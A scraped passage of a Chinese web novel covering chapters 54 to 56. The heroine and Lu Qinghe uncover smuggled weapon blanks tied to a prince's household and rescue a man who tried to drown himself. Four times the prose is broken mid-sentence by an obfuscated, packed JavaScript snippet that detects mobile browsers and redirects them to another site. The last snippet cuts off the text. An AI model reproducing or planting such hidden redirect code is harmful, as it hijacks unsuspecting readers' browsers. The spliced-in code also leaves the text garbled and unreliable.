才要怒骂,却看到那一派清流的眼睛都紧紧盯在自己身上,似乎自己只要开骂一句,他们就能写出一百篇文章上奏天听。 那少年惶恐一拱手,就躲回了清流文臣之中。 这把陆佗气得没法,只得转头向皇帝一跪。 这一跪,太子党的人都站不住了,齐刷刷跪了一排,七嘴八舌,便开始说另一边的不是。 另一列大皇子党又唰地跪在一处,有喊冤的,有对骂的,大殿上立刻吵成一团。 陆佗听了半天,终于明白,说话的那个混帐小子就是宣王府那老不死的亲儿子,不日就要被封为郡王,或将要做大皇子的伴读。 真不愧是那老不死的一家人,颇有老宣王那个烦人劲。 “都给朕住嘴!!!” 天子一怒,满殿寂籁。皇帝拂袖而去,徒留众人面面相觑。 谁也没看出皇帝心中的那杆秤偏向哪一边。 退朝后,陆佗望着皇宫之外似乎近在咫尺的十常山,又叹了一口气。 百官路过他,哪怕是在大殿上跪在大皇子党那一边的人,也得念及北瑛王府的烁烁军功,低头恭敬对他:“王爷。” 陆佗自然认为这是他应得的,对此很是受用,绷紧了嘴,尽力让自己风霜纵横的老脸上显出威严。 却有一只手拨开人群,那双斜飞懒散的眼睛就从人流中露了出来。 赵都云一身蓝金云纹袍,束金玉魑珠冠,神色桀骜,淡淡道:“挡什么路?” 一股火气就从陆佗胃里窜到喉间。到底是久经沙场的大将军,见状只是沉沉道:“竖子,何敢?” 众人皆惊退,唯有陆佗交情过命的张承宣使寻了个机会斥责:“赵世子,论辈分,你怕是要叫王爷一声叔父。” 赵都云恭敬道:“张大将军此言差矣。我宣王府乃亲王府,姓赵,怎么会有一个姓陆的叔父?将军在京中可要慎言,可别一不小心,就对天家不敬。” “你……!” 陆佗伸手拦住张承宣使,冷笑道:“张将军,我等卫国杀敌之人,何必和小儿争口舌之快。更何况,率土之滨莫非王臣,亲王非例外,北瑛王府亦然。” 赵都云哈哈大笑:“王爷这话可是含沙射影。” “可惜呀,从你们北瑛王府来的老鼠,不留神,吃了老鼠药,已经死了。若是不然,我应付他还来不及,哪有这个空闲上云京来?” …… “阿嚏。” 陆清和重重地打了个喷嚏。 阿凤翻来找去,才找到茶具沏了一斛随身带着的茶叶,笑着道:“公子,怕是谁在骂你呢。” 陆清和微微一笑:“我既已身死,除了你们两人,还有谁会惦记。” 噼、啪两声,远处姑娘扣算盘珠的声音肉耳可见的重了起来。 谢辛辛屈腿盘在一张大红三弯腿圆凳上,手指翻飞,活似要把算盘珠子崩飞出来似的。 阿凤吐了吐舌头:“公子,别说死啊死的,我听着害怕。你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992896|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,我刚从码头回来时,看到那个人擦着剑离开,吓死我了。” 谢辛辛抬了下眼:“那时玉春楼正好有个厨子请假了,我见马南春带了剑,就请他削完了后厨所有冬瓜。你别说,他剑法还真不错,削瓜皮不带一点肉的。” 陆清和含笑饮了杯茶。 阿凤闻言自言自语:“……我或许也可以?下回用剑削土豆试试。” “真的吗?”谢辛辛拨算盘珠的手不停,顺势接话道,“你若能在一柱香之内削一千个个土豆,就来我这上工……陆清和给你开多少钱?” 阿凤认真比划了一下,思索着一柱香削一千个土豆的可能性。 “你是什么奸商啊……”边青昙推门进来,臂上挂着一小篓不知是什么草药,“一柱香削一千个土豆?还有你们几个全聚在我家干什么?我好歹也是个妇道人家,你们一个被人退过婚的吞金貔貅,一个假死脱身的危险人物,一个一门心思研究削土豆的傻小子,成日待在我家像什么样子?” 谢辛辛嘿然一笑,才要说话,刘宛紧跟着就走了进来,附声道:“是啊,辛辛,虽然范医师多住在医馆,可你们在这里住久了,未免给边姑娘添麻烦。” 边青昙哼了一声,从腰间拿下一朵酢浆草,“给你带的。” 谢辛辛指着自己:“我?” 边青昙别开眼睛:“上次见你,似乎挺爱吃的。” 谢辛辛:“其实也还好……” 边青昙又拿出一朵,“不够还有。” 谢辛辛才把后半句咽了下去,心道如今才真真见到什么才叫嘴硬心软。再看边青昙,哪怕她将三人冷嘲暗讽个遍,也不再觉得她乖戾刻薄,反倒觉得有了几分亲切的稚气。 她当日给粥羹里下的,不过是自己没用完的玉肌香。赵都云给的东西不知是什么虎狼之药,她虽气陆清和时而调风弄月,时而像个木头,但也不致要依赵都云的话害死他。 玉肌香也是毒,马南春的银针一落,自然也会变黑。等他验完毒之后,谢辛辛再将剩下的解药溶于汤内。 于是,陆清和同时服用了玉肌香和解药,先藏在玉春楼中,等马南春离去后再自行离开。 唯一的问题,便是下药之后,怎么让马南春亲眼看见尸体。 所幸马南春对赵都云用的什么药也一无所知,她只好拜托边青昙从范家的安济堂借用了一具病死乞丐的尸体,涂黑了脸,换成陆清和衣服丢在厢房内。 对马南春,只消解释说是毒效所致,面目瘀紫,看不出原貌。 谢辛辛顺从地嚼着草叶,“谢谢你。” “这不是我想到上回,你说赵都云对你这里没有戒心,所以反而安全些,我觉得有道理么。他白天在你这里藏两日,我保证,晚上不会有人留在这里的!我们晚些便要出门,有事要查。” 刘宛关切地问:“晚上?查什么?辛辛,你晚上本就缺觉,别太劳累了。” 谢辛辛道:“说不清楚。总之是一件大事,宛姐姐你别担心,我……” 她嘴巴扁了扁,虽不情愿,却不得不安慰她,“陆清和同我一起,我不会有事的。” 在去云京之前,她总想去看一看,邓船工所言打捞出来的木桶里到底是什么,和宣王府里的奇怪货物是否有关系。 54.救江水 虽然一伙人挤在了边青昙的家里,但边姑娘素来喜欢清净,又牙尖嘴利,如今又有求于她,谁也不敢惹恼了她。 因而眼看着入了夜,院子中还是静得连叶落之声都听得清。 入夜之后,谢辛辛与陆清和便打算去码头附近去和船工接头,亲眼见见那船工打捞上来的木桶。 根据描述,这些木桶和谢辛辛在宣王府中见过的应该是同一个样式,怎么想都是宣王府的阴私。陆清和有心要查上一查,为此假死,也是顺水推舟,正好掩过宣王府耳目。 陆清和咳了两声,拈起话头。 “说起来,这几日,我和阿凤白天不曾外出,”他将热茶轻轻放在谢辛辛的手边,问她,“外面有什么消息没有?” 谢辛辛头也不抬,“别吵我,对账呢。” “才从找钱庄的老板把账本拿回来。但前些日子我不在楼中,这账本缺了好几日的数目,我得把账都算明白了,才好把账本交到你手上不是?” 边青昙不经意搭话道:“还真有件新鲜事。” “昨日我和刘宛娘子去集市上买药材,正巧看见解试放榜。” 谢辛辛算完一月的账,左右手拿着算盘将其上下一震,珠子噼里啪啦的归了位。她偏头想了想,道,“怪道上回在玉春楼前经过好些书生,原是赶考去的。” 边青昙嗯了声,“刘宛娘子看了张出去的榜,说上头有你们的熟人。” 谢辛辛:“熟人?” 刘宛接话道:“就是郑家那个大公子呀!” “他先头来玉春楼找过辛辛的麻烦呢。看着不学无术的,未想到高中了解元,这下竟成郑举人了!” 谢辛辛惊得手一抖,毛笔被她手臂推动,在书缘上落下一道墨痕。 谢辛辛张大嘴巴:“郑瑾瑜?举人?” 她拿算盘掩了脸,看向陆清和,咋舌道:“孟知监和那郑家的姑姑是真行啊,连郑瑾瑜都能教化了。” 陆清和笑了笑:“大器晚成,大智若愚,也是有的。可贵的是,他有一颗赤诚之心,若能为官,也是造化。” 似乎有些道理。 懵懂之间,谢辛辛倒是想到,徐明庚那样的人都能做官,郑瑾瑜不比他强多了? 这厢陆清和早换好了轻便的衣服,只等她盘完了账,几人就准备去码头找邓船工。 依旧是阿凤驾车开路。陆清和坐在车上,留心观察着小掌柜。 好像是从几日前,他就不知不觉习惯了看谢辛辛的脸色说话。也许是他怀疑谢家一案的确有父兄的手笔,也许是他不再提娶她的事情,总下意识地觉得愧疚。 谢辛辛的心情也是一样的奇怪。 自她帮助陆清和暗度陈仓,躲开了宣王府的视线,她就再也没有缠过陆清和一回。 好像随着陆清和这个人在明面上的消失,那个逗弄他、调戏他的谢辛辛也消失了。 两人便顿时换了角色似的。陆清和总是看着她,寻机会和她说话。而谢辛辛则是爱搭不理,也不再说什么去云京嫁给他了。 一个话多了起来,却像是往后退了一步;一个话少了很多,倒像是往前逼进几分。攻守转换,然而这攻守之间各自隔着一层说不清道不明的别扭。二人就这样心照不宣,谁也不再提喜不喜欢的事情。 陆清和就这么看了她一路,终于觉得她面色和缓些,想要开口和她介绍一下北瑛王府: “待到云京……” 阿凤:“公子,到邓大哥家了!” 陆清和:“……” 陆清和:“知道了。” 谢辛辛本来也懒得听他说什么,也不等人扶,自己撩开帘子跳下了车。 双脚落在坚硬的泥土上,她鞋子是金罗软绢缝成的,薄薄两块布,一点儿缓冲也没有,乍一落地,疼得她眼冒金星。 也不知道哪来的骨气,她嘶了一声后愣是没找人扶着,一瘸一拐地走两步,拧着脚踝看眼前的小破院子。 门口的熟人正在等他们——几根木棍用芦苇扎成扁扁的一块木板,就成了小院的门。 眼熟的船工搓了搓手,窘迫道:“姑娘,公子,不好意思,我这地方就是旧了点……本就是初春不让开船的时候,勉强落个脚用。” 他领着人走进房中一个角落,把地上铺的茅草踢开,露出一块四四方方的窖门。 “东西都在里面,”船工搓了搓手,“我一打开,吓得魂儿都没了,也不知交给谁好,想到公子你之前拿出一个北瑛王府的腰牌,想着您或许有法子处置。” 说着他就退了出去,“我码头上还有货没卸完,我得先去干活儿,您几位请便就行。” 阿凤单手将窖门提起来,见其中堆放了两三个木桶,遂气沉丹田,双臂合抱酒桶,“嗬”地一声—— 木桶像是很有份量,身形还不如成年男子的阿凤抱将起来还有些吃力,眼看着木桶在他手中颤巍巍地动了动,陆清和与谢辛辛忙从两边各自帮了一把手。 才勉强从窖中提将起来,一个没扶稳,木桶哐当砸在地板上。受潮已久的桶盖骨碌碌滚了下来,桶中的东西便稀里哗啦一阵响动。 才听到这声音,陆清和眉间一蹙,立刻伸手去探,竟然从中抽出一把剑胚。 剑胚是银黑色的,黯然无光,显然是未经锻造的生铁。 谢辛辛蹲下身,跟着往桶里看了看,同样暗淡的长剑剑胚,还有十余把。 “兵器?”她迟疑出声。 陆清和将她扶起来,问她:“那日你在王府里见到的货物,可与这些酒桶形状相似?” 谢辛辛想了想:“差不离。其中货物相碰的声音清脆,多半也是铁器。” 陆清和沉默须臾,才道: “若这箱东西果真是运往宣王府的,那宣王府私运兵器,此事非同小可。” 谢辛辛吓得后退两步。 她虽然好奇赵都云究竟谋划着什么,可也没想牵扯进这么大的一件事来啊! 她尽力让自己看起来平静,出口却有些结巴,“私运兵器……一般来说,是,是准备做什么?” 陆清和只是看了她一眼,只这一眼,她便知道事态不会比自己猜想得更轻。 陆清和摸索着未经打造的剑,“铸私兵,养私军……” “宣王,恐有不臣之心。” 谢辛辛拔腿就走。 阿凤敏捷地拉住她的衣角:“谢掌柜,你干什么去!” 谢辛辛:“这话我就当没听过,改日宣王府要杀人灭口,你们就说今天没见过我……” 陆清和哭笑不得,一把将她拉到身侧:“我在外已是身死之人,他要灭谁的口?” 谢辛辛想了想,说也对,又道:“那你要怎么处置这些东西?我的意思是……莫要连累这位船工大哥。” 陆清和道:“你放心,带去云京,自有北瑛王府处置。只是……” 谢辛辛:“只是什么?” 陆清和:“这木桶是要送去哪儿的,眼下并没有实证。若单单以此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037170|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来指控宣王府,他们大可以不认。” 她摸着脸思考,想了半天,还是觉得不妥,说了声:“那就是毫无胜算了?不行!我先走了!” “你是死了,我还没死呢,家仇未报,我无必要立于危墙之下。我还是悄悄的回去,今日最好没有别人看见我。”说着就往门外走去。 陆清和只得无奈笑笑,眼神示意阿凤随她去。 还没走出院门,门口忽然一行老少叫嚷着跑了过去。谢辛辛生怕被别人瞧见,届时东窗事发,被宣王府查到丢了兵器,真追究起来,若被人看见自己出现在附近,未免容易丢了自己这条小命。 只得往屋子里这么一缩,就听到门口跑过去的几人叫嚷: “什么事啊?出什么事了啊?” “谁知道,好像是有人跳江了……” “噫,跳江,寻短见啊?” “可不是!去看看去!” “死人没有?哎!你看见了没,死人没?” 谢辛辛隔着院墙,向外张望了一下,忽然默默叹了口气。 陆清和走到她身边,“怎么了?” 她收回眼睛,“谢家烧毁那一日,我也曾想过寻死,只是刀子搁在心口上,头就挨在柱子上,或是人真站在了江边上,依旧狠不下这个心。” “这真真去寻死了的百姓,该是多绝望。而王府里的人,心思都不知盘算着什么,眼睛里是看不见这些的。” 陆清和闻言,想到父王,有意要反驳她,但再想到陆景明,终究还是没说出口。 忽然院门就被人大力地撞开。有人喊着“让一让!”“让一让!”,门口登时一阵错乱的脚步,谢辛辛下意识往后躲了躲,定睛一看,竟然是邓船工,湿漉漉地背着一个气息奄奄的人。 “让一让!”邓船工哑着嗓子,浑身湿透了,像是刚从水里上来的,“还能救,还能救!” 阿凤冲出去接过了他背上的人。 只是他身后围了一堆看热闹的,七嘴八舌地问着“怎么回事啊?”“还活着吗?”“谁家的孩子,好端端地跳什么江啊?” 船工和阿凤将人放平在地上,阿凤探了探鼻息,道,“还活着。” 人群顿时围了过来,将小小的院子挤得密不透风。 邓船工一急,嘶声喊着:“走开,走开,都围着怎么透气!” 他泡透了水的嗓子没能发出很大的声音,很快被淹没在人群的嘈杂之中。顾不得这许多了,邓船工索性不去管人群,伸手重重地压着溺水之人的胸膛。 按了一两下,地上的人仍然吐不出水,脸色愈发变青了些。可周围人群越围越密,他动作大些就施展不开,正着急,忽然一个人冷冷呵道: “都散开!” 众人没来由感到一阵威压,放眼看去,一长身玉立的公子冷眼看着他们,一看便不是寻常人物。 人群稍稍往后退了些,却还在犹豫,伸长了脖子想看看跳江的到底是谁。过了不消一会儿,胆子大的就朝陆清和的方向挤过去,口中小声:“谁啊他是……” 阿凤本在帮船工扶着溺水之人,见状刚要起身去拦—— “他说过了,都散开!” 一银光长剑从陆清和身后破风而出,凛然剑光将众人吓退一丈。 谢辛辛提剑护在陆清和身前,朝大家笑了笑:“诸位父老,人命关天,大家聚在附近,想必都是走水路生意的。此人若是救不过来,成为苕江中一条水鬼,大家走起水路来,也不安生不是?” 55.金福柱 人群顺着她煞有介事的剑弧后退,给邓船工留下了不大不小的一个圆形空地。 到底是行船为生,应对溺水之事很有经验似的。他先掰开地上之人的嘴巴,手指进去探了探,称,“果然。” 于是指关节一屈,从那人嗓子眼里抠出一团混着水草的泥沙。他马上再次用力按了按那人的胸部,不知按了几下,汗水江水混在一起,挂在发丝上落下来。 “噗——咳咳咳——”地上的人猛地吐了一口水出来。 周围立刻闹哄哄地:“活了活了!真就活了!” 邓船工松了口气,拍了拍这人的脸:“哎!清醒没有?你叫什么名字?” “金福柱……”金福柱刚醒来就是这个场面,茫然地看着他。看了好一会儿,忽然觉过味来,爬起来就跪,颤巍巍道,“小的金福柱,自知不配为人,还请阎王老爷罚我下地狱吧……” 阿凤连忙把他扶起来,“这儿不是冥界,你还没死呢。” 金福柱眨眨眼:“我没死?噢,噢……我没死……” 他慢慢地站了起来,走了两步,环视了一圈围观的人群。 谢辛辛被他目光中透出的悲凉惊住了,心下忽然一动念,连忙朝阿凤大喊: “抓住他!” 几乎是同时,金福柱猛然朝谢辛辛的方向冲了过去,却避过了她,狠狠朝石头墙壁上一撞—— “危险!”谢辛辛惊叫出声。 千钧一发之际,阿凤比他更快,一个起跳就金福柱撞开几寸,一头撞在没关紧的门上,栽进了船工的房子里。 有了门轴的缓冲,人多少没什么大碍。只是金福柱倒在地上,呜呜咽咽地不肯再起来,重复着: “让我死,让我死……” 谢辛辛生气地拽起他:“你这人,怎么这么不识好歹?这位邓大哥救了你一命,你要恩将仇报,死在他的房子里?” 冷不防被冠上一个恩将仇报的罪名,金福柱哆嗦了一下,像是知错,闭上了嘴巴。 外面一大一小才将围观的人群驱散了,就见谢辛辛扶了金福柱进里屋坐下,陆清和则十分配合地倒了一碗水给他。 谢辛辛问:“金福柱,你有何苦衷,不妨说与我听。万事总有对策,何苦如此?你别不说话,看见我旁边这位公子没有,他在京中做官,又大方,办事公允,你有何事,对他说也好。” 事到如今,陆清和已经从善如流的顺着她的意思默认自己有个京官的身份。谢辛辛说的这些话虽然是用来安抚金福柱,但溢美之词落在陆清和耳根,他不露声色地动了动耳,点点头。 金福柱苦笑一声:“云京城里的官,能管到王府头上么?” 二人对视一眼,俱是神情一凛。 陆清和郑重道:“大可以说来一听。” 金福柱看看谢辛辛,又看看陆清和,既而低头看了一眼自己的手腕——上头系着一根细细的红绳。 金福柱有些动摇,喃喃道:“我不配说你的事,但或许能为你报仇呢?” 这么一说之后,金福柱用没有系红绳的那只手擦了擦脸,面上忽然平淡下来,仿佛在说别人的故事: “我女人……”他想了一想,改口道,“我表妹妹,我俩是一个村子里的,从小定了娃娃亲,一起长大。小时候,我经常给她扎风筝。” “可她十二岁的时候,她娘又生了两个幼弟,家里是在揭不开锅了,把她卖进了宣王府上。我今年从乡下来城中,本是要来找她的,来了之后却发现,她已被送进了……送进了别人房中。” 金福柱的拳头倏然握紧:“那是个人尽皆知的流氓恶叉,但在王府上很有威望。我知道小红她不愿意,可是我,我没办法,我只能离她近一些……” 谢辛辛忽然有种不妙的预感,隐隐觉得他说的这个流氓恶叉,应是自己的一个老熟人。 她迟疑地开口:“……你说的这个王府人氏,莫非是姓李?” 金福柱猛然看向她,重重点了点头。 …… 几日前,宣王府的一处别院中。 “……你说小红?” 赵都云转了转折扇,目光耐人寻味,“这倒新鲜。杨忠顺,这批货运完了,我要奖的是你,你开口却是替别人讨赏?” 地下跪着一个人。 杨忠顺战战兢兢地伏着身子,看着眼前的地砖。地砖上有斑驳的黑痕。听闻李管事就是在这里折断了脚骨,淌着血被拖将出去。 杨忠顺一闭眼,心一横,总算说出口: “不瞒世子殿下,奴才那兄弟和我交情匪浅,没有别的毛病,就是好女人这一口。奴才如今拿了赏钱,什么也不缺,不如替我那兄弟讨了小红来,促成一件美事。” 他之所以敢这么说,便是猜到了赵都云不会因此生气。 替王府送货这么些日子,他多少摸清了一些赵世子的脾气。世子这个人,对有欲求的人反而更加放心。若是半日说不出个想要来,赵世子反还戒备。 赵都云啪地一声将折扇打开,一双眼越过着扇面端详着他,见杨忠顺似乎真的没有别的意思,方才一笑,道:“行,你要什么都行。” “多谢世子殿下!” 杨忠顺没想到世子这么好说话,忙不迭地磕头。 赵都云道:“且别急着谢。我可不知道你说的是谁,哪个房里的,我向来懒记这些。” 杨忠顺心道,可不就是你房里的,不久前才送给李管事家,我都替老金打听清楚了。听说李管事日前被发落了,那把他房中的女人要一个出来,应该不是什么大事吧? 这世子殿下干的好事,大概除了他自己记不得,别人都记得。 但他不敢多说,只低着头不语。就听赵都云道: “这样,你先去库房把你们几个未结的月钱领了,小红的事,顺便问问那里的管事吧,就说是我让去的。” 杨忠顺忙谢了恩出去,一路快步,生怕慢一些,这位性子乖僻的世子殿下就会反悔似的。 去库房的路有些远,但杨忠顺很熟悉。他一向是个很能干的人,在他们兄弟几个当中最会来事,也是第一个发现给宣王府做事有利可图。 几个兄弟跟着他帮宣王府拉货,虽说货物看起来有些危险,但到底是吃喝不愁起来。 现下是发达了。 杨忠顺一边走路一边想。 老金是他最放心不下的,如今日子走好,自己确实该替老金谋划谋划。 不过这路上怎么那么静呢。 快到库房门口了,却没见到什么管事的人。这儿幽静,又没人说话,他觉得怪瘆人的。 抹了把胳膊上的鸡皮,只道是秋风太萧索,吹得人心寒。于是好奇地推开库房外院的门,探头问: “有人吗——” 他竖起耳朵,好像听到里面两个人骂骂咧咧。 一人问:“又来,他爹的还有几个?” 另一人说:“嘘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064052|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一共六个,我看看……” 杨忠顺放下了心。 他这帮兄弟算上他一共六个人,都是邻里带出来的发小兄弟。库房这是给他们算工钱呢。 “几位大人,小的杨忠顺,是得了世子殿下的吩咐,来领钱的。” 里面的人就说:“杨忠顺,噢,是是是,是有这么个人,你等等,里面得收拾一下,马上就好。” “好嘞。” 他得了话,美滋滋的在门口候着。里面收拾了好一会儿,才叫他:“进来吧。” 杨忠顺低着头进去,不敢多看。但拿钱的路上,不管怎样也是乐呵的。笑容挂在他脸上,衬得做体力活的老脸也红润,像个熟烂的苹果。 忽然铛的一声,杨忠顺没听清是远处的佛钟,还是自己耳朵边上炸了一下,眼前忽然一黑,这才发觉后脑像被凿穿了一样疼。 晕头转向地伸手一摸,湿乎乎的,他努力睁开眼睛一看,红的,是血。 倒下去的时候,杨忠顺还睁着眼睛,视线越过库房木头柜子底下,正好和另一边的人头对视。 杨忠顺想,兄弟,你也在这里,不是说要去闯云京吗? 当然,不仅他说不出话,那人也已经开不了口了。 “蠢货,还想拿钱?”库房的人啐了一口,又问,“还剩几个?世子可吩咐了,一个也不能漏。” “一个。”另一个人放下手中的花瓶,擦了擦血迹,漫不经心道,“好像是姓金的。” …… 谢辛辛皱着眉头:“你是说,小红走了,你念想没了,便要跟着她走?” 金福柱说:“不仅小红走了,李管事也……我连个报仇的人都没了,一个人苟活着,有什么意义?” 邓船工刚要开口,却被谢辛辛的冷笑打断:“苟活?究竟是谁说的这个词,我心里觉得真是不要脸。” 阿凤和船工面面相觑,不明白她怎么忽然凶狠起来,只想着让她少说两句,别刺激了才寻死的人。陆清和却扫过他们,伸出一指示意他们噤声。 谢辛辛道:“我曾经不是没想过寻死,实话告诉你,我后来可想明白了。” “亲友身死,留你一个在世上,便是苟活?谁说的?谁的命是又是苟全的?什么叫偷生?什么叫惜死?人是同一个人,境遇是同一个境遇,凭什么那冲破脑袋不要命地一撞,就是英勇无畏似的?多害了一条命,却没有一件事得到解决,倒显得人厉害起来了?” “世上哪有这样的道理?” 金福柱愣愣地看着她,不知听懂了没有。 没想到谢辛辛接下来的话更让他瞠目结舌。谢辛辛说,她早就知道小红这个人。 她将小红身死的前因后果和金福柱一说,金福柱脸色煞白,却道:“难道,难道,你说的那个茗琅姑娘才是害了小红的凶手?” 谢辛辛叹了口气:“你若要这么想,也并不是毫无道理……” 金福柱却摇了摇头:“不。我知道这是小红自己的决定。小红她……向来是这样勇敢,像江边的苇草,韧,美,我知道的。” 这倒让谢辛辛高看了他一眼。 她问:“那么我再问你,小红的仇人是谁,你若要复仇,向谁去复仇?” 一阵静默后,她拔高了声音:“想啊,想!然后说出来!你在怕什么!” 金福柱闭上眼睛,声音颤抖不停: “是、是、是世……” “是世子殿下……” 56.破云雀 这个名头一说出口,金福柱反而轻松起来。 他的眼底褪去混浊,显得清明了一些。 金福柱明白了谢辛辛的善意。恨一个人,哪怕注定是蚍蜉撼树的一恨,多少也让一只伏枥的老狗重燃活着的欲望。 金福柱走了。陆清和看着他的背影,略有震动——这个人是在别人的背上淌着水背回来的,却是站直了走出去的,像一簇风吹不散的火。 再看谢辛辛,更是一团动摇不得,充满生命力的烈火,几乎要把一块被从小以君子之道教养的、淡淡的冰给烤化了。 “哎!” 谢辛辛叫住金福柱,“金福柱,你家在哪呀?若有机会,我请你来我楼中做活也好啊!” 金福柱答谢完,只觉得一天大起大落,脑子还朦胧着离开了。 望着他的背影,谢辛辛绞着手帕面露忧虑之色。陆清和静静看着她,只觉得明明是在屋内,却仿佛有风将自己朝她吹去。 他想要支持她。 陆清和想。 哪怕她的仇人是……他自有赎罪的办法。 “你这么看我做什么?”谢辛辛问他。 陆清和摇摇头:“还记不记得在船上的时候,你和郑瑾瑜说的。” 她真的认真去想,结果是:“不记得。” 陆清和:“……您说,天下百姓的苦难如沙中拾贝,数不胜数。我看你这些日子,倒是捡了不少贝壳。” 比如黄三、小绿茱、金福柱…… 她哑口无言,紧接着自嘲地笑了。若有似无的一个笑声,像铃铛中的小金球一样,在陌上公子的耳朵之中碌碌滚着。 他捕捉的她的笑,呼吸也暂停了,直到她开口说话—— “以其昏昏,使人昭昭。”[1] 陆清和也笑了,忍不住伸手摸了摸她的头发。 手指穿过金饰抚过发梢,顺着发丝让头皮麻酥酥的。谢辛辛有些僵硬,扭开了头,问他:“你又笑什么?” 他道:“觉得你好。” ……这又是什么不明不白的话? 如今这个当口上,他越是温情可意,谢辛辛便越觉得他招人烦。他想自己如何回应呢?难道要她再问他一遍,“陆清和,你喜欢我么”? 逢此场景,牙酸的也另有其人。邓船工忍不住小小哎唷一声,却看阿凤傻呵呵地看着陆公子,一副吃了饴糖的满足。 邓船工摇着头默默退了出去。 这边谢辛辛脸上阴晴不定,陆清和却自顾自道:“可你报仇之时,若向小红一样飞蛾扑火,我不能接受。” 她的嘴快得很,当即反驳:“谁人说需得你接受了?” 陆清和慎重其事:“我是认真的。届时你要做什么事,务必知会我,我想办法替你周全。” 她几乎是条件反射地就要顶杠他“你又以什么立场替我周全?届时若我的仇人是你的兄弟、你的同僚、乃至这天下的北瑛王呢?”,但一撞上陆清和的眼睛,这未出口的话忽然索然无味。因为他的表情如此端重岸然,似乎一问出口,他便会郑重道“那也是一样”。 她索性不说这些,而是一步一步转向他,鼻尖几乎逼上他的下巴,半带调笑地问他: “这么说,你是要做我的刽子手,我的剑,我的毒……” 不待她说完,陆清和几似是早有预想地点头: “不错,我心正是如此。” 谢辛辛逼近的脚步骤然停住。 半晌,她远离了几步,背身叹气道:“你不必如此。无论如何,哪怕是为了我路上认识的朋友,玉春楼的账本我会给你的。” “你不必这样哄着我,这一点儿也不像你。” 对她的仇家,她其实已有猜测,只是事态未明,她还不必挑明罢了。 陆清和张口,却是无话。 他现在颇为头疼,不知他们是如何走到这一步的。 阿凤将木桶藏在马车暗仓中,三人一路沉默着回了玉春楼。手上有这样危险的东西,陆清和当机决定打包行李先回云京。 “正巧你也要去云京,如此早些到达也是正好。”他对谢辛辛说。 牵扯到谢府重案,本以为谢辛辛对见识北瑛王府的这一行会格外重视,未想到她一副兴致缺缺的样子,慢斯条理地擦着柜台:“知道了。再等等我。” “等什么?”陆清和不解。 不解中有一丝隐隐的挫败感。 她从前不是最爱说要去云京么? 该要等的总会等来,没过几天,郭知州府上的小厮来请,说那位曾经提过神算老道士就要上郭府来打醮,谢掌柜若有闲心,便请谢掌柜上府中观摩。 “这不就等来了?”谢辛辛笑着,回小厮,“自然要去,我还要带着人一起去。” “打醮是什么?”阿凤仰面问他的公子,有些跃跃欲试,“我还未见过呢。” 谢辛辛一心想着怎么让那道士自露马脚的计划,自然是没听见这句话。 自打王负和郭知州通过信,这郭知州便活脱脱一副慈父形象,对儿子的救命恩人是礼遇有加,特特地使了郭府的轿子,到玉春楼门口请谢掌柜上门。 小厮正要替她打帘子,却被一只白得透青的手抢了先。陆清和挑着帘替她护着脑袋,等她上车后,前脚刚要上去,却被她打断。 “等等,你上来干什么?”谢辛辛眼尾带笑,好整以暇地看着他。 陆清和抬起的脚顿了顿,努力消化着她“带着人一起去”的这个人并不是指他与阿凤的事实。 阿凤心直口快,只问:“谢掌柜,看热闹的事情你不带我们,还要带谁?” 谢辛辛笑得像只憋着坏水的猫。 “这个嘛。”她说,“让你家公子猜猜。” 接着不等他们二人反应,她将帘子严严实实地一落,就大声对小厮道:“走,先去一趟宣王府上,我们接个人!” 马儿嘶鸣扬蹄,带着谢辛辛远去,二人在原地还未回过神来。 阿凤脑袋转了转,不可置信地问身边人:“公子,她不带你,去找宣王世子了!” 不怪阿凤思路清奇,实在是眼下只有他知道公子与赵世子均是王爷的儿子,平起平坐,自然下意识将他们二人绑在一起思考。 若是平常时候也就罢了,如今正是陆清和摸不准谢辛辛脾气之时,阿凤这没头脑的一句也险些打得他道心破碎。 等理智回笼,他又觉得实在不能。最近谢辛辛明明一副不愿再与宣王府有多牵扯的模样,哪能去请什么世子,难道就因为他们曾有婚约,和别人不一般吗?为什么他就不能与她有婚约呢?为什么他北瑛王府偏偏要与谢府的案子有牵扯? 他垂着眼睛不语,谁能知道暗地里早已胡思乱想了一阵。直到天边一只小雀儿鼓噪地飞过去,他一拂袖,道:“跟上他们,去看看她怎么回事。” 阿凤连连点头,十分积极地去备马。 绝不容许公子被什么赵世子张世子的比下去!——他斗志十分昂扬,早已忘了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 